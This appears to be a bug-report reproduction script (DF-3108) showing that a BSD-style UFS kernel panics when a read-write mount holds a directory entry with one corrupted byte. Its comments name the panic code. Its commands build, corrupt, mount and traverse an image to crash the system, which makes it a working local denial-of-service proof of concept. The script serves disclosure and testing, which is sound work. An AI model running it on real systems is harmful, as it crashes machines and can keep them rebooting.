DF-3108 / repro.sh
#!/bin/sh # DF-3108 — ufs_dirbad panics a RW-mounted UFS on any mangled directory entry. # # sys/vfs/ufs/ufs_lookup.c:601-610: # if ((mp->mnt_flag & MNT_RDONLY) == 0) # panic("ufs_dirbad: bad dir"); # Called from the lookup walk (:269) whenever an entry fails the # forward-progress check (d_reclen == 0 or d_reclen > rest-of-dirblock). # # One flipped byte in any directory of an otherwise-valid image => any # path resolution through it panics the kernel => reboot-loopable local DoS. # Same fail-stop design as ext2_dirbad (DF-3083) — this is the UFS instance. # # Usage (as root): ./repro.sh set -e cd /root/df3108 IMG=df3108.img MNT=/mnt/df3108 rm -f "$IMG" dd if=/dev/zero of="$IMG" bs=1m count=4 2>&1 | tail -1 VN=$(vnconfig -c vn "$IMG" 2>&1 | awk '{print $1}' | head -1) DEV="/dev/$VN" newfs -b 4096 -f 512 "$DEV" >/dev/null 2>&1 mkdir -p "$MNT" mount -t ufs "$DEV" "$MNT" mkdir "$MNT/d" D_INO=$(stat -f '%i' "$MNT/d") umount "$MNT" vnconfig -u "$DEV" 2>/dev/null || true # Corrupt ONE byte: the 'd' directory's first entry gets d_reclen = 0x0204 # (516 > 512 - 0) -> "mangled entry" on the very first lookup into /d. ./patch_one "$IMG" "$D_INO" echo "image corrupted; mounting RW and listing /d (expect panic)" VN=$(vnconfig -c vn "$IMG" 2>&1 | awk '{print $1}' | head -1) mount -t ufs "/dev/$VN" "$MNT" # NB: resolving a name INSIDE /d drives ufs_lookup's walk over the mangled # entry (ls alone only readdirs, which uses ufs_readdir's lenient walk). stat "$MNT/d/x" 2>&1 | head -2 echo "UNEXPECTED: no panic" |